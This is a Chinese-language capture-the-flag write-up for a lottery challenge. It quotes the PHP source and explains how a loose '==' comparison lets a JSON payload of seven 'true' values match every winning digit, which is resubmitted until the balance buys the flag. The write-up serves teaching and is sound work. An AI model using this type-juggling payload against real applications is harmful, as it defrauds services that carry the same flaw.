是道买彩票,中大奖,然后买flag的题目,并且题目附带源码,按理说原本应该是扫到.git目录,然后使用githack把源码下载下来的。
将源码下载下来后,进行一顿分析,找到几个关键的地方:
生成随机数 ```php function random_num(){ do {
$byte = openssl_random_pseudo_bytes(10, $cstrong);
$num = ord($byte);
} while ($num >= 250);
if(!$cstrong){
response_error('server need be checked, tell admin');
}
$num /= 25; return strval(floor($num)); }
function random_win_nums(){ $result = ‘’; for($i=0; $i<7; $i++){ $result .= random_num(); } return $result; }
2. 购买彩票
```php
function buy($req){
require_registered();
require_min_money(2);
$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
购买flag
function flag($req){
global $flag;
global $flag_price;
require_registered();
$money = $_SESSION['money'];
if($money < $flag_price){
response_error('you don\' have enough money');
} else {
$money -= $flag_price;
$_SESSION['money'] = $money;
$msg = 'Here is your flag: ' . $flag;
response(['status'=>'ok','msg'=>$msg, 'money'=>$money]);
}
}
可以看到,buy函数中有个很明显的弱类型比较漏洞:
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
win_numbers
是由random_win_nums
函数返回的,所以类型就是字符串类型。
根据php官方文档的弱类型比较表,true=="php" //boolean(true)
,所以构造一个长度为7的数组,内容都是true即可绕过。{
"action":"buy",
"numbers":[
true,
true,
true,
true,
true,
true,
true
]
}
一直提交直到金额足够买flag即可。